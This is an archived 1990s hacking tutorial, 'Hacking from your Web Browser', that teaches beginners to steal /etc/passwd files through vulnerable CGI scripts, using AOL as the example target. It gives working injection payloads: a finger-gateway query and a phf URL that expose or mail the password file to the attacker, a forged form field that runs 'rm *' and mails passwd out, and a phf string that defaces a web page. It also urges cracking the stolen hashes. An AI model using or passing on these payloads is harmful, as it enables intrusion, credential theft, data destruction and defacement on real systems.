home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / browsrhk.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  6.6 KB  |  129 lines

  1.  
  2.                 Hacking from your Web Browser
  3.                         by
  4.                    Modify of Technophoria
  5. ************************************************************************
  6.  
  7. I - Introduction
  8.  
  9.         This file will describe several techiniques to aquire a password
  10.         file just by using an ordinary web browser.  The information
  11.         provided will be best described for the beginner hacker, but all
  12.         hackers should benifit from this information.  We will only cover
  13.         phf in this file but, feel free to explore other programs in the
  14.         cgi directory such as nph-test-cgi or test-cgi.  And now . . . get
  15.         comfortable... sit back.... and read.
  16.  
  17. II - Hacking from your Web Browser
  18.  
  19.         There are several techniques on what I call "Web Browser Hacking".
  20.         Many beginners dont know that you cant query a etc/passwd file from
  21.         your browser and in this chapter I will describe all the ways to
  22.         aquire a passwd file.  First you need to find a box that is running
  23.         the cgi-bin/phf file on their system.  A great way to find out
  24.         without trial and error is to go to www.altavista.com and just
  25.         search on cgi-bin AND perl.exe or cgi-bin AND phf.
  26.  
  27.       a.  Finger box hacking:  
  28.                 Lets say you wanted to break into somewhere like .... hmmmm
  29.           AOL.  The first thing we would do is type in their web site in
  30.           the URL:  Http://www.aol.com.  The next thing we would do is add
  31.           /cgi-bin/finger to the web URL so it would look like this Http://
  32.           www.aol.com/cgi-bin/finger.  If the finger gateway is operational
  33.           a box should appear for you to enter the name you want to finger.
  34.           If it is operational you have a chance to receive the etc/passwd
  35.           file.  Next thing you will probably want to do is search for a
  36.           mailto on the web page... just scan the page for any mailto refs.
  37.           Go back to the finger box and type in this query......
  38.           nobody@nowhere.org ; /bin/mail me@junk.org < etc/passwd ...this
  39.           string takes nobody and emails the passwd file to your email
  40.           address.  If this works you now have the etc/passwd file in your
  41.           mailbox.... you can now run a crack program against it and have a
  42.           little fun on their box.
  43.  
  44.        b.  The common cgi-bin/phf query:
  45.                 This section is for the very beginning hacker (All advanced
  46.            hackers need not apply)  Lets take the same scenerio from the
  47.            first example except in the URL we would type ...
  48.            Http://www.aol.com/cgi-bin/phf ... if the phf is operational and
  49.            has not been rem oved you should get a series of search boxes on
  50.            the next page ( ignore these boxs)  to your URL you would add
  51.            this string ?Qalias=x%0a/bin/cat%20/etc/passwd... so the entire
  52.            string would look like this
  53.            Http://www.aol.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20
  54.            /etc/passwd.  This string will print out the etc/passwd file
  55.            strait to your web browser all you need to do is save it as a
  56.            file and again run a crack program against it. (This is
  57.            considering that they are not :*: or :x:).
  58.  
  59.         c.  Dont take my cgi form:
  60.                 This section will explain how to use somebody else's cgi
  61.                 form to obtain the etc/passwd file.  Lets say you look at a
  62.                 document source from a web page and find this in the
  63.                 source:
  64.  
  65.                             <html><body>
  66.                             <h2>This is a form to go to Modify</h2>
  67.             <form action = "http://www.aol.com/cgi-bin/doc.pl"  method="get">
  68.                             <input type="hidden" name="myaddress" value="nobody@aol.com">
  69.              <input type="text" name="input">
  70.             <input type="submit" value="send">
  71.             </form>
  72.             </body></html>
  73.  
  74. This is a simple form that asks a user to input a message to be sent to a
  75. script called doc.pl.  Included in the doc.pl script is the following line
  76. which is assuming the line has already been parsed out.
  77.  
  78.              system("/usr/lib/sendmail -t $myaddress < $tempfile")
  79.  
  80. Now lets set up your page:
  81.  
  82.             <html><body>
  83.             <h2>Hack AOL</h2>
  84.             <form action = "http://www.aol.com/cgi-bin/doc.pl" method = "get">
  85.             <input type="hidden"  name="myaddress"
  86.             value=" ; rm * ;mail -s file youraddress@yourisp.com <             /etc/passwd;">
  87.             <input type = "text" name="input">
  88.             <input type = "submit" value=:"getpasswd">
  89.             </form>
  90.  
  91. The semicolons in the hidden value field act as delimiters, they separate
  92. the UNIX commands, this executes commands on the same line.  The system
  93. call in PERL and creates a UNIX shell, and in here mails the passwd file to
  94. you.
  95.  
  96.         d.  Changing web pages from your browser:
  97.                 This short section will describe the string to use to edit
  98.                 a web page from your web browser.  Same scenario as the
  99.                 first section....  http://www.aol.com.... we will then add
  100.                 the following string cgi-bin/phf?Qalias=x%0a/bin/echo%20
  101.                 "some text and shit"%2
  102.  
  103. 0>>filename.html......  This string will allow you to write to the filename.html and add "some text and shit" be noted it has to be in html format.  You can place text, pictures or whatever you like.
  104.  
  105. III - Conclusion
  106.  
  107.         This information should be able to direct a beginner in obtaining
  108.         the etc/passwd file from a system using the web browser... It may
  109.         also inform the guru's and advanced hackers some bits of
  110.         information of perl and cgi.  In further reading check out my sec
  111.         ond file that will involve erasing log files from the web browser.
  112.         I hope you all enjoyed this documentation and found it somewhat
  113.         interesting...... wake up!!!   thus I conclude.....
  114.  
  115.                                                               Modify.
  116.  
  117. IV - Suggested Reading
  118.  
  119.     Phrack Magazine:  Very informative.... covers just about everything from phreaking to hacking.... Just download all the damn articles.
  120.  
  121.     Building Internet Firewalls by O'Reilly & Associates, Inc. aka "The Big Wooden Door"":  Covers all kinds of attacks, different firewall solutions, and invulnerablities.
  122.  
  123.     Perl in 21 days by Samsnet:  Good starting book in Perl programming also covers security issues.
  124.  
  125.     Cgi programming by Samsnet:  Good starter for Cgi but if you dont know Perl or C programming then dont bother, also covers security issues.
  126. ************************************************************************
  127. www.technophoria.com
  128.                
  129.